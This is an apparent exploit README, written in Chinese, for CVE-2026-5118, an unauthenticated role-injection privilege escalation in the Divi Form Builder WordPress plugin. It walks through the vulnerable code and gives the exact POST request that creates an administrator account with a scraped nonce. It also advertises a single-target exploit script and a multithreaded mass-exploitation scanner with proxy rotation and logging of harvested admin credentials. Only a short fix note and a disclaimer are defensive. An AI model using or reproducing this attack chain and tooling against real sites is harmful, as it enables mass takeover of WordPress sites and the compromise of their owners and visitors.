未认证权限提升(通过角色注入)
=== Beelze ( 零日漏洞 1diot9 ) ===
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-5118 |
| CVSS 评分 | 9.8 (严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — 不恰当的权限管理 |
| 插件 | Divi Form Builder (由 Divi Engine 开发) |
| 受影响版本 | 所有版本 ≤ 5.1.2 |
| 已修复版本 | 5.1.3 (2026年4月13日) |
| 公开日期 | 2026年5月20日 |
| 研究人员 | 0xd4rk5id3 — EnvoraSec |
| PoC | Beelze ( 零日漏洞 1diot9 ) |
Divi Form Builder WordPress 插件在 5.1.2 及之前所有版本中存在 未认证权限提升 漏洞。
位于 FormSubmissionHandler.php 中的 create_user() 函数在用户注册过程中,从 POST 数据中接受用户控制的 role 参数,但未将该参数与表单配置的 default_user_role 设置进行验证。唯一的"保护"是 sanitize_text_field() —— 它仅去除 HTML 标签和编码,但 完全无法 将值限制在安全角色范围内 —— 随后进行的存在性检查仅验证该角色在 WordPress 中是否存在(而 administrator 始终存在)。
这三重缺陷使得未认证攻击者能够:
de_fb_obj JavaScript 对象中提取 全局共享的 nonce(fb_nonce)form_type 为 register —— 将任何表单变成注册入口role=administrator结果: 完全接管网站 —— 零认证、零用户交互、仅需一个 POST 请求。
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← 仅去除标签/编码!
: 'subscriber'; // ← 'administrator' 原样通过
sanitize_text_field() 专为自由文本清理(XSS 防护)设计。它 不会 根据安全角色的白名单进行验证。字符串 "administrator" 不包含任何 HTML 标签或特殊编码 —— 它完全不受影响地通过。
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← 仅当角色不存在时回退
}
该检查询问:"这个角色在 WordPress 中存在吗?" —— 而 administrator 始终存在。它从未提出正确的问题:"这个角色对于公开展示的自我注册是否安全?" 正确的检查应针对像 ['subscriber', 'contributor'] 这样的白名单进行验证,或强制使用表单的 default_user_role 设置。
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← 攻击者控制的角色直接应用
没有 current_user_can('create_users') 检查。没有 current_user_can('promote_users') 检查。没有任何类型的能力验证。攻击者提供的角色直接传递给 set_role()。
// 前端 JS 本地化
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← 所有表单、所有页面使用相同的 nonce
// ...
]);
fb_nonce 通过 wp_create_nonce('security') 创建 —— 一个在站点上每个 DFB 表单之间共享的通用操作字符串。任何访客都可以通过阅读页面源码中的 de_fb_obj JavaScript 对象来提取它。
// AJAX 处理器
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← 由 POST 覆盖触发!
}
form_type 从 POST 数据中读取,而非服务端表单配置。攻击者可以向 任意 DFB AJAX 提交发送 form_type=register —— 联系表单、报价请求、新闻通讯注册 —— 而服务器将执行注册代码路径。表单的原始目的无关紧要。
[未认证攻击者]
│
▼
GET /任意包含 DFB 表单的页面/
← HTML 源码: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
从 de_fb_obj JavaScript 对象中提取 fb_nonce
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← 注入的 │
│ form_type = register ← 覆盖的 │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ 通过
wp_roles()->roles['administrator'] 存在?→ 是 ✓ 通过
$user->set_role('administrator') ✓ 无能力检查
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[完全管理员访问权限] 🔥
CVE-2026-5118.py —— 单目标利用完整的 5 阶段利用链,包含自动表单发现和 nonce 提取。
python3 CVE-2026-5118.py
目标 URL: https://target.com
用户名 [beelze_admin]:
密码 [Beelze123!!@#!]:
邮箱 [[email protected]]:
超时(秒)[15]:
SOCKS5 代理(留空 = 无):
利用阶段:
阶段 1 ▶ 可达性检测 (HTTPS + HTTP 回退)
阶段 2 ▶ 插件检测 (readme.txt 版本检查)
阶段 3 ▶ 表单发现与 Nonce 提取
├── REST API 页面扫描
├── 常见路径探测
├── 站点地图爬取
└── 首页链接爬取
阶段 4 ▶ 角色注入 (权限提升)
阶段 5 ▶ 管理员登录验证
输出 (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py —— 批量扫描器多线程批量利用,支持 JSONL 日志记录和恢复功能。
python3 CVE-2026-5118-mass.py
目标文件(每行一个 URL): targets.txt
用户名 [beelze_admin]:
密码 [Beelze123!!@#!]:
邮箱 [[email protected]]:
线程数 [10]:
超时(秒)[10]:
代理文件(SOCKS5,每行一个,留空 = 无):
恢复上次扫描?(y/n) [n]:
特性:
输出 (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role 设置中配置的角色,忽略任何来自 POST 数据的用户提供的 role 参数Beelze ( 零日漏洞 1diot9 ) —— 仅用于教育和授权的安全研究